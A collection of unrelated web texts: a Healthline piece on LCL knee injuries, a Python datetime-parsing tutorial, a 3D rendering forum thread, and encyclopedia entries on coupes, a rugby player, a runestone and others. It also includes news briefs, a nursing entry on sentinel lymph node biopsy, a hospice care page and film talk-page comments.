If your doctor believes you may have a torn ligament, you may undergo imaging tests like X-rays or MRI scans. These tests will allow your doctor to see the soft tissues inside the knee.
The treatment options for LCL injuries will depend on the severity of the injury and your lifestyle.
For minor injuries, treatment may include:
• splinting
• applying ice
• elevating the knee above the heart
• taking a pain reliever
• limiting physical activity until the pain and swelling are gone
• using a brace (knee immobilizer) or crutches to protect the knee
• physical therapy or rehabilitation to strengthen and regain range of motion
For more severe injuries, treatment may also include physical therapy, rehabilitation, or surgery. Physical therapy strengthens and helps you regain range of motion. Surgery may include ligament repair or reconstruction.
Surgery doesn’t usually treat injuries to only the LCL. However, the LCL is often injured along with other ligaments in the knee. In these cases, surgery is probably necessary.
Shop for knee braces.
It’s difficult to prevent knee ligament injuries because they’re often a result of an accident or unforeseen circumstance. However, several preventive measures can help minimize the risk of a knee ligament injury, including:
• using proper technique and alignment when doing physical activities, including walking
• stretching regularly to maintain good range of motion in the body
• strengthening the muscles of the upper and lower legs to help stabilize the joint
• using caution when playing sports where knee injuries are common, such as soccer and football
For minor injuries, the ligament may heal without any issue. However, it’s important to note that if the ligament got severely stretched, it may never regain its prior stability. This means that it’s more likely that the knee will be somewhat unstable and you could easily injure it again. The joint could become swollen and sore simply from physical activity or minor injury.
For those with a major injury who don’t have surgery, the joint will most likely remain unstable and easily injured. You may not be able to do physical activities that require repetitive use of the knee, including running, climbing, or biking. Pain could result from minor activities like walking or standing for extended periods. You may have to wear a brace to protect the joint during physical activity.
For those who have surgery, the outlook will depend on the severity of the original injury and the surgical procedure. Generally, you’ll have improved mobility and stability after the joint completely heals. You may have to wear a brace or limit physical activities in the future to help prevent reinjuring the knee.
In knee injuries involving more than just the LCL, treatment and outlook may be different, as those injuries could be more severe.
Q:
What exercises can I do to help my LCL heal?
A:
No specific exercise can help a LCL heal. The ligament will heal on its own, and the main thing to do is to prevent re-injury to the ligament during its healing. During the healing phase, range of motion exercises may be done, and gentle strengthening of the quadriceps (thigh muscles) and biceps femoris (hamstring muscles) are encouraged. A stress applied from the inner aspect towards the outer aspect of the knee should be avoided to prevent re-injury to the healing ligament.
One simple way to regain motion is to do a quadriceps stretch. Stand on your good leg, grasp your injured foot with the hand on the same side, and gently flex your knee using your hand to help bend the knee.
A simple stretch to regain extension is to sit on the floor with your legs straight out in front and gently work on straightening your knee by pushing downward on it.
Using a stationary or recumbent bicycle is an excellent way to strengthen the quadriceps. If the devise has toe straps, it helps to strengthen the hamstring muscle groups as well.
William Morrison, MDAnswers represent the opinions of our medical experts. All content is strictly informational and should not be considered medical advice.
Healthline | ESSENTIALAI-STEM |
Charles McLean (rugby union)
Charles McLean (20 September 1892 – 7 March 1965) was a New Zealand rugby union player. A loose forward, McLean represented Buller at a provincial level, and was a member of the New Zealand national side, the All Blacks, in 1920. He played five matches for the All Blacks, scoring seven tries, but did not appear in any internationals.
McLean enlisted for military service in August 1914, and served with the New Zealand Expeditionary Force throughout World War I, including at Gallipoli. A private, he was awarded the Military Medal in 1918, for acts of gallantry in the field.
McLean died in Christchurch on 7 March 1965, and he was buried at Hokitika Cemetery. | WIKI |
Convert String to Datetime in Python
When we develop applications, the problem we often face is a string to datetime conversion. We have to deal with different formats and time zones. Sometimes we need to convert dates and times to human-readable format, and vice versa.
Converting a string to datetime
Python comes with the datetime module that consists of a date, time, and datetime. This module comes with various functions for manipulating dates and time.
The following code is going to print the current date and time. The custom formatting is not applied, therefore it uses the default one.
This code will display the current date + time, date, and time using the default formatting. Date and time can be accessed using the date and time functions.
Current date/time: 2020-04-29 11:16:03.562353
Current date: 2020-04-29
Current time: 11:16:03.562353
This module uses ISO 8601. This is the international standard for exchanging dates and time-related data.
The strptime function
Now, instead of displaying the current date, we are going to use a date from a string and try to convert it to a datetime object. To do it, we will use the strptime function.
This function is going to convert a string to a datetime object. In the second parameter, you have to apply the datetime formatting, because the module can’t figure it out on its own.
Let’s take a look at the result:
Date and time: 2019-03-29 10:26:06.562353
Date: 2019-03-29
Time: 10:26:06.562353
The formatting has to be exactly the same as the values in the string. If you don’t add, for example, the fraction of the second, the program is going to return an error.
ValueError: unconverted data remains: .562353
If you want to get rid of the fractional part of a second, you can use the format function.
It will print the same result, but this time without microseconds.
Time: 10:26:06
Let’s try something more complicated.
This time the date is written in a more complicated fashion. We don’t have only numbers, but also an abbreviated name of the month, and time that is written using the 12-hour clock.
If you run this code the date and time will be complicated in the standard fashion:
2020-06-04 14:34:00
Formatting data
The formats we use to convert string to datetime consist of format tokens. Each token represents a different part of datetime, such as a month, day, hour, etc.
The following table contains most of the commonly used tokens. These examples are for en_US.
tokendescriptionexample
%aWeekday as a word in an abbreviated form.Sun, Mon, …, Sat
%AWeekdays as a full word.Sunday, Monday, …, Saturday
%wWeekdays as a number. 0 is Sunday, 6 is Saturday.0, 1, 2, 3, 4, 5, 6
%dDay of the month as a zero-padded decimal number.01, 02, 03, …, 29, 30, 31
%bMonth as a word in an abbreviated form.Jan, Feb, …, Dec
%BMonth as a full word.January, February, …, December
%mMonth as a zero-padded decimal number.01, 02 …, 11, 12
%yYear as a zero-padded two-digit number.01, 02, …, 98, 99, 00
%YYear as a zero-padded four-digit number.0001, …, 2020, …., 9999
%HA zero-padded, 24-hour clock01, 02, … , 23, 00
%IA zero-padded, 12-hour clock01, 02, … , 12
%pAM and PMAM, PM
%MMinute as a zero-padded decimal number.01, 02, … , 59
%SSecond as a zero-padded decimal number.01, 02, … , 59
%fMicrosecond as a zero-padded decimal number.000000, 000001, …, 999999
%zUTC offset in the form ±HHMM[SS].(empty), +0000, -0300, +1020
%ZTime zone name.(empty), UTC, IST, CST
%jDay of the year as a zero-padded three-digit number.001, 002, …, 366
%UWeek of the year as a zero-padded two-digit number.
(Sunday as the first day of the week).
00, 01, …, 53
%WWeek of the year as a zero-padded two-digit number
(Monday as the first day of the week)
00, 01, …, 53
%cLocale’s appropriate date and time representation.Wed Apr 29 22:30:00 2020
%xLocale’s appropriate date representation.04/29/20
%XLocale’s appropriate time representation.22:30
%%A literal ‘%’ character.%
Introducing timezones
So far, we were dealing with naive datetime objects. Naive datetime objects don’t contain any timezone-related data.
If you want to check whether your object holds information about the timezone, you can use the tzinfo parameter.
Because we are using the naive datetime object, the result of tzinfo is None.
The pytz module
The easy way to apply timezone to naive objects is by using the pytz module. It’s not present in the standard library, you have to install it.
After installation you can run this code:
The result shows the date and timezone.
2019-03-29 10:26:06.562353-04:00
US/Eastern
Notice, that there is -04:00 at the end. This means, that the Eastern/US time is 4 hours earlier than the GMT timezone (Greenwich Mean Time).
You can change the timezone to a different one:
Now if you run the code, the timezone will change to +01:00.
2019-03-29 10:26:06.562353+01:00
Europe/Warsaw
You can use the datetime module for converting strings to datetime objects. The problem with this module is that you have to apply the formatting, which can be time-consuming.
Instead, you can use third-party libraries that make the process of string to datetime conversion much easier.
In Python, there is a huge amount of modules. I created a list of the most popular ones:
• dateutil
• maya
• arrow
• moment
• delorean
dateutil
This module provides an extension to the datetime module.
You can install it using PIP.
With this module, you don’t have to apply formatting to the string, it will recognize tokens and automatically convert the string to the datetime object.
Now, the code is cleaner and the result is the same as before.
Date and time: 2019-03-29 10:26:06.562353
Date: 2019-03-29
Time: 10:26:06.562353
Timezone: None
The string was recognized as a naive object. This is correct because you didn’t add a zone number.
Write code like this with two hours added to GMT:
It will be recognized by dateutil, but the module will display it in a form that is not very attractive to the user:
Timezone: tzoffset(None, 7200)
maya
Maya is another module to help you with parsing dates and time.
To install it with PIP use this command:
After you install this module, three other modules will be installed as well: humanize, pendulum, and already mentioned: pytz.
The code with maya looks like this:
After you run the code, you will see the following result:
Date and time: Fri, 29 Mar 2019 08:26:06 GMT
Date: 2019-03-29
The date is returned as an attribute and not as a function as we saw with the previous module. There is no attribute time. If you want to display time, you have to display an hour, minute, and second separately.
Notice, that time is already converted to GMT, so instead of 10:26:06, you see 08:26:06.
With maya, you can easily add a date and time to the object:
This code adds 1 month and 3 hours to the date.
Date and time: Mon, 29 Apr 2019 13:26:06 GMT
arrow
The arrow library aims to help you work with datetime objects by using fewer imports and less code. It offers a human-friendly approach to creating, manipulating, formatting, and converting dates.
You can install it using this command:
Here is an example of what a program looks like:
It returns a date that is two hours earlier than that in a string and date and time with functions.
Date and time: 2019-03-29T08:26:06.562353+00:00
Date: 2019-03-29
Time: 10:26:06.562353
You can use humanize to make the result more … human.
After you run the code, you are going to get a result that is written as a string.
a year ago
moment
Another interesting module used to deal with dates is moment. You can import the date as a string in a similar way as you did with other modules.
By default, the module treats the date using a local timezone. With the moment module, the date function can get a string parameter, such as ‘tomorrow’ to return the tomorrow date.
2019-03-29T10:26:06+01.00
2020-05-02T12:45:52+01.00
Conclusion
In this tutorial, I presented a standard Python library and a few third-party libraries.
The main advantage of these libraries over the standard module is that you don’t have to specify the format and they can figure it out on their own.
Each of these libraries has its pros and cons. To learn more about them, you should read their documentation and decide which one is the most suitable for your needs. | ESSENTIALAI-STEM |
Help with backrops
I don't know if something is wrong or I'm not doing something right, but when I try to add an backdrop it works just fine in the beginning. I can see it while creating the scene. I can see it when I render the image but the problem comes when I save the render as an picture to my computer. When opening the picture there is no background. Only white blank space. What am I supposed to do to make the background be seen in the final picture?
Comments
• JimmyC_2009JimmyC_2009 Posts: 8,303
edited December 1969
What are you saving the image as (JPG, PNG). It sounds like you are saving a PNG which will give you a transparent background.
Save instead as a JPG, and your background will appear in the final image.
• edited December 1969
Thanks buddy! That's it!
• SpottedKittySpottedKitty Posts: 3,402
edited December 1969
The background is there in your render, and always has been. The problem is that whenever you're loading the render to look at it, the program you're using treats the background as transparent. This is especially a problem with .png images.
Try checking the help (or manual) for your viewing program, there should be a way of getting it to merge the background with the image. What you're seeing is only default behaviour, which you should be able to change.
• HeraHera Posts: 920
edited May 2013
The backgrounds do not show when using the Lux renderer either, that's another problem I assume.
Post edited by Hera on
• SpottedKittySpottedKitty Posts: 3,402
edited December 1969
Nothing to do with the renderer, it's the format the image is saved in that's causing the problem. If it's png or tiff then it'll have the "background exists but it's transparent" as described upthread. The png is most likely to have the problem when you view it. All other image formats, jpg, bmp etc don't save the background in the same way, it's all one flat image, so you'll always see the background when you view it.
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Coupe
A coupe or coupé is a passenger car with a sloping or truncated rear roofline and two doors.
The term coupé was first applied to horse-drawn carriages for two passengers without rear-facing seats. It comes from the French past participle of couper, "cut".
Etymology and pronunciation
Coupé is based on the past participle of the French verb couper ("to cut") and thus indicates a car which has been "cut" or made shorter than standard. It was first applied to horse-drawn carriages for two passengers without rear-facing seats. These berlines coupés or carrosses coupés ("clipped carriages") were eventually clipped to coupés.
There are two common pronunciations in English:
* – the anglicized version of the French pronunciation of coupé.
* – as a spelling pronunciation when the word is written without an accent. This is the usual pronunciation and spelling in the United States, with the pronunciation entering American vernacular no later than 1936 and featuring in the Beach Boys' hit 1963 song "Little Deuce Coupe".
Definition
A coupe is a fixed-roof car with a sloping rear roofline and one or two rows of seats. However, there is some debate surrounding whether a coupe must have two doors for passenger egress or whether cars with four doors can also be considered coupes. This debate has arisen since the early 2000s, when four-door cars such as the Mazda RX-8 and Mercedes-Benz CLS-Class have been marketed as "four-door coupes" or "quad coupes", although the Rover P5 was a much earlier example, with a variant introduced in 1962 having a lower, sleeker roofline marketed as the Rover P5 Coupé.
In the 1940s and 1950s, coupes were distinguished from sedans by their shorter roof area and sportier profile. Similarly, in more recent times, when a model is sold in both coupe and sedan body styles, generally the coupe is sportier and more compact.
The 1977 version of International Standard ISO 3833—Road vehicles - Types - Terms and definitions—defines a coupe as having two doors (along with a fixed roof, usually with limited rear volume, at least two seats in at least one row and at least two side windows). On the other hand, the United States Society of Automotive Engineers publication J1100 does not specify the number of doors, instead defining a coupe as having a rear interior volume of less than 33 cuft.
The definition of coupe started to blur when manufacturers began to produce cars with a 2+2 body style (which have a sleek, sloping roofline, two doors, and two functional seats up front, plus two small seats in the back).
Some manufacturers also blur the definition of a coupe by applying this description to models featuring a hatchback or a rear cargo area access door that opens upwards. Most often also featuring a fold-down back seat, the hatchback or liftback layout of these cars improves their practicality and cargo room.
Horse-drawn carriages
The coupe carriage body style originated from the berline horse-drawn carriage. The coupe version of the berline was introduced in the 18th century as a shortened ("cut") version with no rear-facing seat. Normally, a coupe had a fixed glass window in the front of the passenger compartment. The coupe was considered an ideal vehicle for women to use to go shopping or to make social visits.
History
The early coupe automobile's passenger compartment followed in general conception the design of horse-drawn coupes, with the driver in the open at the front and an enclosure behind him for two passengers on one bench seat. The French variant for this word thus denoted a car with a small passenger compartment.
By the 1910s, the term had evolved to denote a two-door car with the driver and up to two passengers in an enclosure with a single bench seat. The coupé de ville, or coupe chauffeur, was an exception, retaining the open driver's section at front.
In 1916, the Society of Automobile Engineers suggested nomenclature for car bodies that included the following: "Coupe: An enclosed car operated from the inside with seats for two or three and sometimes a backward-facing fourth seat. Coupelet: A small car seating two or three with a folding top and full height doors with fully retractable windows. Convertible coupe: A roadster with a removable coupe roof."
During the 20th century, the term coupe was applied to various close-coupled cars (where the rear seat is located further forward than usual and the front seat further back than usual).
Since the 1960s the term coupe has generally referred to a two-door car with a fixed roof.
Since 2005, several models with four doors have been marketed as "four-door coupes", however, reactions are mixed about whether these models are actually sedans instead of coupes. According to Edmunds, an American automotive guide, "the four-door coupe category doesn't really exist."
Berlinetta
A berlinetta is a lightweight sporty two-door car, typically with two seats but also including 2+2 cars.
Club coupe
A club coupe is a two-door car with a larger rear-seat passenger area, compared with the smaller rear-seat area in a 2+2 body style. Thus, club coupes resemble coupes as both have two doors, but feature a full-width rear seat that is accessible by tilting forward the backs of the front seats.
Hardtop coupe
A hardtop coupe is a two-door car that lacks a structural pillar ("B" pillar) between the front and rear side windows. When these windows are lowered, the effect is like that of a convertible coupe with the windows down. The hardtop body style was popular in the United States from the early 1950s until the 2000s. It was also available in European and Japanese markets. Safety regulations for roof structures to protect passengers in a rollover were proposed, limiting the development of new models. The hardtop body style went out of style with consumers while the automakers focused on cost reduction and increasing efficiencies.
Combi coupé
Saab used the term "combi coupé" for a car body similar to the liftback.
Business coupe
A two-door car with no rear seat or with a removable rear seat intended for traveling salespeople and other vendors carrying their wares with them. American manufacturers developed this style of coupe in the late 1930s.
Four-door coupe / quad coupe
The 1921 and 1922 LaFayette models were available in a variety of open and closed body styles that included a close-coupled version featuring two center-opening doors on each side that was marketed as a Four-Door Coupe.
More recently, the description has been applied by marketers to describe four-door cars with a coupe-like roofline at the rear. The low-roof design reduces back-seat passenger access and headroom. The designation was used for the low-roof model of the 1962–1973 Rover P5, followed by the 1992–1996 Nissan Leopard / Infiniti J30. Recent examples include the 2005 Mercedes-Benz CLS, 2010 Audi A7, Volkswagen CC, Volkswagen Arteon, and 2012 BMW 6 Series Gran Coupe.
Similarly, several cars with one or two small rear doors for rear seat passenger egress and no B-pillar have been marketed as "quad coupes". For example, the 2003 Saturn Ion, the 2003 Mazda RX-8, and the 2011-2022 Hyundai Veloster.
Three-door coupe
Particularly popular in Europe, many cars are designed with coupe styling, but a three-door hatchback/liftback layout to improve practicality, including cars such as the Jaguar E-Type, Mitsubishi 3000GT, Datsun 240Z, Toyota Supra, Mazda RX-7, Alfa Romeo Brera, Ford/Mercury Cougar and Volkswagen Scirocco.
Opera coupe
A two-door car designed for driving to the opera with easy access to the rear seats. Features sometimes included a folding front seat next to the driver or a compartment to store top hats.
Often they would have solid rear-quarter panels, with small, circular windows, to enable the occupants to see out without being seen. These opera windows were revived on many U.S. automobiles during the 1970s and early 1980s.
Three-window coupe
The three-window coupe (commonly just "three-window") is a style of automobile characterized by two side windows and a backlight (rear window). The front windscreens are not counted. The three-window coupe has a distinct difference from the five-window coupe, which has an additional window on each side behind the front doors. These two-door cars typically have small-sized bodies with only a front seat and an occasional small rear seat.
The style was popular from the 1920s until the beginning of World War II. While many manufacturers produced three-window coupes, the 1932 Ford coupe is often considered the classic hot rod.
Coupe SUV
Some SUVs or crossovers with sloping rear rooflines are marketed as "coupe crossover SUVs" or "coupe SUVs", even though they have four side doors for passenger egress to the seats and rear hatches for cargo area access however only a car with 2 doors and no B style are considered a true coupe.
Positioning in model range
In the United States, some coupes are "simply line-extenders two-door variants of family sedans", while others have significant differences from their four-door counterparts.
The AMC Matador coupe (1974–1978) has a shorter wheelbase with a distinct aerodynamic design and fastback styling, sharing almost nothing with the conventional three-box design and more "conservative" four-door versions.
Similarly, the Chrysler Sebring and Dodge Stratus coupes and sedans (late-1990 through 2000s), have little in common except their names. The coupes were engineered by Mitsubishi and built in Illinois, while the sedans were developed by Chrysler and built in Michigan. Some coupes may share platforms with contemporary sedans.
Coupes may also exist as model lines in their own right, either closely related to other models, but named differently – such as the Alfa Romeo GT or Infiniti Q60 – or have little engineering in common with other vehicles from the manufacturer – such as the Toyota GT86. | WIKI |
Cummings names subpoena targets for security clearance investigation
House Oversight chairman Elijah Cummings (D-Md.) has sent a letter asking for a "final time" that the White House cooperate with the committee's investigation into security clearances, and warning that the committee will begin authorizing subpoenas on Tuesday for at least 5 current and former White House employees. Details: The letter follows an interview with White House whistleblower Tricia Newbold, who told the committee that the Trump administration has reversed denials for 25 security clearance applications. Cummings told White House counsel Pat Cipollone that the committee will first issue a subpoena to depose Clark Kline, the former director of the Personnel Security Office. That will be followed by subpoenas for chief security officer Cory Louie, chief operating officer Samuel Price, former deputy chief of staff Joseph Hagin and deputy director of administration William Hughes. Cummings also said that the committee would forego interviews with White House officials if they begin cooperating with the investigation. He said the committee is prioritizing security clearance documents related to the following individuals: Ivanka Trump — White House adviser Jared Kushner — White House senior adviser John Bolton — National security adviser Michael Flynn — Former national security adviser Sebastian Gorka — Former deputy assistant to Trump John McEntee — Former personal aide to Trump K.T. McFarland — Former deputy national security adviser Rob Porter — Former White House staff secretary Robin Townley — Former senior director for Africa | NEWS-MULTISOURCE |
2018 Team Long Track World Championship
The 2018 Team Long Track World Championship was the 12th annual FIM Team Long Track World Championship. The final took place on 1 September 2018 in Morizès, France.
Results
* 🇫🇷 Morizès
* 1 September 2018 | WIKI |
Persil maker Henkel confirms 2020 forecast
BERLIN, March 5 (Reuters) - German consumer goods group Henkel, the maker of Persil detergent, confirmed on Thursday a forecast it made in December for limited sales growth in 2020 and a decline in profitability as it invests to try to revive its business. Henkel already said in December it expected profit margins to fall this year as its adhesives business comes under pressure from waning industrial demand. On Thursday, it highlighted uncertainty prevailing in the industrial environment. The group confirmed it expects organic sales growth of 0-2% in 2020 and a fall in its adjusted earnings before interest and tax (EBIT) margin to about 15% next year, from 16% in 2019. Carsten Knobel, the former finance chief who took over as chief executive from Hans Van Bylen in January after a string of poor results, is due to present a new strategy later on Thursday. (Reporting by Emma Thomasson Editing by Michelle Martin) | NEWS-MULTISOURCE |
Navigation
Sentinel Lymph Node Biopsy (SLNB)
Norm of Sentinel Lymph Node Biopsy (SLNB)
A sentinel lymph node is defined as a lymph node that stains blue or is radioactive.
Usage of Sentinel Lymph Node Biopsy (SLNB)
Helps avoid total axillary node dissection during early breast cancer; provides staging information for operable invasive breast cancer; identifies location of sentinel node for subsequent tumor resection. Also used to help diagnose malignant melanoma, and head and neck cancer. SLNB is being studied for its usefulness in evaluating other types of solid tumors.
Description of Sentinel Lymph Node Biopsy (SLNB)
Metastasis to lymph nodes can be determined by identifying lymph flow from the tumor site to the primary lymph node via radio-guided biopsy. The sentinel lymph node is the first lymph node in the lymphatic basin to receive lymph flow from a primary tumor. Thus it will be the first node to contain metastasis and can be identified on lymphoscintigraphy by following the blue dye to the most proximal node.
Professional Considerations of Sentinel Lymph Node Biopsy (SLNB)
Consent form IS required for the biopsy portion of this procedure.
Risks
Bleeding; infection; reaction to the dye, more so when isosulfan blue is used than when methylene blue is used.
Contraindications
Sentinel lymph node biopsy for work-up of breast cancer is contraindicated in clients who have had previous breast surgery or radiation to the breast, as well as in clients who have clinically palpable nodes, locally advanced breast disease, tumors in more than one location in the breast, lymphatic problems, burns, breast reduction surgery, or breast implants.
Preparation
1. 3–5 mL of isosulfan blue radioactive tracer is injected subdermally around the circumference of the tumor (for palpable masses) or peritumorally or intratumorally under the guidance of ultrasound. Alternatively, methylene blue dye has been used and has less incidence of allergic reaction.
2. The site is then massaged for 5 minutes to promote migration of the tracer.
3. Just before beginning the procedure, take a “time out” to verify the correct client, procedure, and site.
Procedure
1. 2–6 hours after tracer injection, the area of the tumor site is scanned via lymphoscintigraphy to identify the “hot spot,” which is marked on the skin and later used for localization of tumor for excision. The remainder of the lymph node basin is examined for residual radioactivity.
Postprocedure Care
1. A dry, sterile dressing is required.
2. Assess vital signs and the site for bleeding.
Client and Family Teaching
1. Consume only clear liquids after midnight and before the biopsy.
2. A lumpectomy is usually performed immediately after the sentinel node biopsy.
3. Do not lift more than 10 pounds for 48 hours after the procedure.
4. Final results may take up to 1 week.
5. Observe for signs of infection and report to the physician: increasing pain, redness, swelling, drainage, or temperature >101 degrees F (38.3 degrees C).
Factors That Affect Results
1. Surgeon's skill and frequency of performing procedure.
2. The shine-through effect of radiocolloid from the primary site may affect localization of the sentinel node.
Other Data
1. In one study (Izawa et al, 2005), SLNB was found not to be useful for evaluation of penile cancer. | ESSENTIALAI-STEM |
William-Adolphe Bouguereau
William-Adolphe Bouguereau (November 30, 1825 – August 19, 1905) was a French painter.
Quotes
* One has to seek Beauty and Truth, Sir! As I always say to my pupils, you have to work to the finish. There's only one kind of painting. It is the painting that presents the eye with perfection, the kind of beautiful and impeccable enamel you find in Veronese and Titian.
* Bouguereau (1895); Attributed in: Jefferson C. Harrison (1986) French paintings from the Chrysler Museum. Chrysler Museum, North Carolina Museum of Art, Birmingham Museum of Art (Birmingham, Ala.). p.45.
* For me a work of art must be an elevated interpretation of nature. The search for the ideal has been the purpose of my life. In landscape or seascape, I love above all the poetic motif.
* Attributed to Bouguereau in: Sotheby's (Firm). (1994) 19th Century European Paintings, Drawings and Sculpture. p. 123; Cited in: Adolphe William Bouguereau Quotes by Armand Cabrera, Oct. 4, 2010.
About Bouguereau
* William Bouguereau is unquestionably one of history's greatest artistic geniuses. Yet in the past century, his reputation and unparalleled accomplishments have undergone a libelous, dishonest, relentless and systematic assault of immense proportions. His name was stricken from most history texts and when included it was only to blindly, degrade and disparage him and his work. Yet, as we shall see, it was he who single handedly opened the French academies to women, and it was he who was arguably the greatest painter of the human figure in all of art history. His figures come to life like no previous artist has ever before or ever since achieved. He wasn't just the best ever at painting human anatomy, more importantly he captured the tender and subtlest nuances of personality and mood. Bouguereau caught the very souls and spirits of his subjects much like Rembrandt. Rembrandt is said to have captured the soul of age. Bouguereau captured the soul of youth.
* William Bouguereau (1825-1905) by Damien Bartol on artrenewal.org, 2013. | WIKI |
Uppland Runic Inscription 210
Uppland Runic Inscription 210 or U 210 is the Rundata catalog listing for a Viking Age memorial runic inscription which is carved on a rock-face that is located in Åsta, which is three kilometers east of Vallentuna, Stockholm County, Sweden, and in the historic province of Uppland. The inscription is signed by the runemaster Öpir.
Description
The inscription on U 210 consists of runic text in the younger futhark that is carved on a serpent that makes three loops and with a cross located in the upper loop. The inscription, which measures 1.5 meters tall by 1.3 meters broad, is classified as being carved in runestone style Pr4, which is also known as Urnes style. This runestone style is characterized by slim and stylized animals that are interwoven into tight patterns. The animal heads are typically seen in profile with slender almond-shaped eyes and upwardly curled appendages on the noses and the necks. U 210 was described by one runic scholar as being a "good example" of a Pr4 style inscription. The runic text indicates that the inscription was carved by a runemaster with a normalized name of Öpir, who was active in Uppland in the late 11th and early 12th centuries. Öpir was known for using loop patterns in his inscriptions, and used a three loop pattern for U 210. Other signed inscriptions where Öpir used a three loop pattern include U 142 in Fällbro, U 279 in Skälby, U 287 in Vik, U 566 in Vällingsö, U 687 in Sjusta, U 893 in Högby, U 898 in Norby, U 961 in Vaksala, and U 1106 in Äskelunda.
The runic text states that the inscription was sponsored by two brothers named Finnviðr and Holmgeirr and their mother Heðinvé in memory of their father Holmgautr. The inscription is signed by Öpir using the runes ybiʀ ' iak ("Œpir cut"), which he also used on the now-lost runestone U 168 in Björkeby.
Transliteration of the runes into Latin characters
* finuiþr ' auk ' hulmkaiʀ ' litu ' kera ' merki ÷ at ÷ hulmkut ' faþur ÷ sin ÷ iþinui ' at ' bonta sin ' ybiʀ ' iak
Transcription into Old Norse
* Finnviðr ok Holmgæiʀʀ letu gærva mærki at Holmgaut, faður sinn, Heðinvi at bonda sinn. Øpiʀ hiogg.
Translation in English
* Finnviðr and Holmgeirr had the landmark made in memory of Holmgautr, their father; Heðinvé in memory of her husbandman. Œpir cut. | WIKI |
Wikipedia talk:Requests for adminship/Yuvmil 2
Username: Yuvmil First edit: Jan 25, 2009 00:41:08 Unique articles edited: 12 Average edits per page: 5.00 Total edits (including deleted): 60 Deleted edits: 17 Live edits: 43
Namespace totals
Article 10 23.26% User 17 39.53% User talk 9 20.93% Wikipedia 7 16.28%
Month counts
2009/01 6 2009/02 0 2009/03 0 2009/04 23 2009/05 6 2009/06 0 2009/07 0 2009/08 0 2009/09 0 2009/10 0 2009/11 0 2009/12 0 2010/01 0 2010/02 0 2010/03 8
Logs
Top edited articles
Article
4 - Bergen_County_Academies 2 - Ham_the_Chimp 2 - Franklin_Lakes,_New_Jersey 1 - List_of_Boston_Red_Sox_captains 1 - Puijila
User
17 - Yuvmil
User talk
4 - Yuvmil 4 - Fastily 1 - NuclearWarfare
Wikipedia
3 - Requests_for_adminship/Yuvmil_2 2 - Requests_for_adminship/Yuvmil 1 - Requests_for_adminship 1 - Changing_username | WIKI |
A cancer diagnosis is a life-altering diagnosis and one that often comes with a lot of uncertainty and anxiety — for both the patient and their loved ones. Hospice care is a special kind of care that helps thousands of cancer patients and their families each year as they navigate the advanced and life-limiting stages of cancer.
Why Hospice?
Hospice care aims to provide compassionate care for patients in the last phases of incurable diseases, including all kinds of cancer, to allow them to live their last days as fully and comfortably as possible.
Hospice care treats the patient and their symptoms, not the disease. This results in much more comfort for the patient without the need to take large amounts of medications and deal with the side effects they bring. Patients are able to live their last days with dignity and quality, surrounded by their loved ones.
What Does Hospice Care Provide?
In general, you can expect the following services to be offered by hospice care:
• Hospice and palliative care/symptom control: Palliative care focuses on treating the symptoms and side effects of cancer rather than the cancer itself. It allows patients and their loved ones to see an array of treatment options and make informed decisions on the care the patient wants. This includes managing cancer’s mental, physical, social, and spiritual side effects.
• Home care/inpatient care: Hospice care often takes place at the patient’s home. But, there are some circumstances where they may need to be in a hospital, extended care, or hospice facility.
• Spiritual care: Everyone has unique spiritual and religious needs, and hospice care aims to meet them individually. This includes meeting with chaplains and religious leaders to talk about death, prepare to say goodbye, and even help with religious ceremonies or rituals.
• Family meetings: Regular meetings led by a hospice care worker keep family members informed of the process, the patient’s condition, and what to expect.
• Coordination of care: The hospice team coordinates and supervises all care around the clock and ensures all parts of the care team are kept up-to-date, including doctors, pharmacists, clergy, etc.
• Bereavement care: Hospice includes consideration for the whole family. Once the patient passes, the hospice team works with their loved ones to help them navigate the grieving process and set up funeral arrangements.
Ready to take the next step and learn more about hospice care? Contact us today. | ESSENTIALAI-STEM |
Robert S. Maloney
Robert Sarsfield Maloney (February 3, 1881 – November 8, 1934) was a United States representative from Massachusetts.
Early life and education
Maloney was born in Lawrence, Massachusetts. He attended public schools and learned the printer's trade.
Trade Union activities
Maloney was a fraternal delegate of the American Federation of Labor to the 1907 Canadian Trades and Labor Congress in Winnipeg, Manitoba. He was New England organizer for the International Typographical Union 1908–1912.
Lawrence Board of Aldermen
He was elected a member of the Lawrence, Massachusetts Board of Aldermen in 1909 and he served as the Board's president.
City commissioner for Public health
In the November 7, 1911 city election the voters enacted a new city charter that enacted a City Commission form of government in Lawrence. The new charter took effect on January 1, 1912. Maloney was member of the city commission in 1912, and from 1916 to 1920 and served as president. Maloney was elected to the city commission to serve as the director of the Department of Public Health and Charities, Maoney served in this capacity in 1912 and 1915–1920.
Congressional service
Maloney was elected as a Republican to the Sixty-seventh Congress from (March 4, 1921 – March 3, 1923), but was not a candidate for renomination. As of 2023, he was the last Republican to represent the 7th congressional district. He again served as director of the Department of Public Health and Charities, from 1924 until 1928, published a weekly newspaper and, later, engaged in the restaurant business until his death.
Death and Burial
Maloney died in Lawrence on November 8, 1934. His interment was in Immaculate Conception Cemetery. | WIKI |
Talk:The Man Who Laughs (1928 film)
When loves comes...
Does anyone know the true title of this song? I've heard variations of it either being "When Love Comes Stealing" or "Whne Loves Comes Smiling". The second one sounds more appropriate but I have no idea which one it really is as several sources claim it's each other. Anyone want to help out on this? Andrzejbanas 12:53, 11 January 2007 (UTC)
Copyright
The film premiered in the United States prior to 1964. Is the copyright renewal information for the film available? --Damian Yerrick (talk | stalk) 17:12, 9 July 2009 (UTC)
Image
The most distinctive characteristic of this movie is the image of Veidt with a fixed, artificial, exaggerated grin. So what image does this article show? Veidt with a covering over his mouth.Lestrade (talk) 02:40, 6 December 2009 (UTC)Lestrade
* The image should reflect the genre. This film is often mis-labeled as being a horror film which it is not. The character's fixed smile would manipulate this. In the film it's often covered up anyways. Andrzejbanas (talk) 21:37, 7 December 2009 (UTC)
Cast member missing!
Olga Baclanova played the part of Duchess Josiana, but is she nor her character is mentioned in the Cast Listings. 2603:7000:E143:F600:CD4B:F4CE:9D36:26E1 (talk) 21:14, 24 March 2022 (UTC)
The movie is getting into Public Domain in January 2024.
"The Man Who Laughs, a 1928 film that helped inspire the creation of iconic Batman villain The Joker, will enter the public domain on Monday, January 1. So far, most of the commentary around this year's public domain offerings centers on Mickey Mouse and Steamboat Willie, but there are other major books, movies, and characters set to lose copyright protection in 2024 as well, including Tigger (whose first appearance in a Winnie-the-Pooh story came 95 years ago) and feature films starring Charlie Chaplin, Buster Keaton, and the Marx Brothers, among many others. With The Man Who Laughs, the story and characters will finally appear in the public domain, decades after aspects of the movie started to be used in a very public domain-like way."
